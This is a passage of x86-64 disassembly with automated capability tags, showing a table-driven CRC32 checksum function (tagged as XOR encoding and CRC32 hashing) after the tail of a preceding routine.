mov dword [r10 + 8], eax
ret

Function at 0x14000e60c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x14000e625
xor eax, eax
jmp 0x14000e693
not r9d
lea rdi, [0x14025b840]
cmp r8d, 8
jb 0x14000e669
mov r11d, r8d
shr r11, 3
mov ebx, 8
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec rbx
jne 0x14000e641
add r8d, 0xfffffff8
dec r11
jne 0x14000e63c
test r8d, r8d
je 0x14000e68d
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec r8d
jne 0x14000e66e
not r9d
mov eax, r9d
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret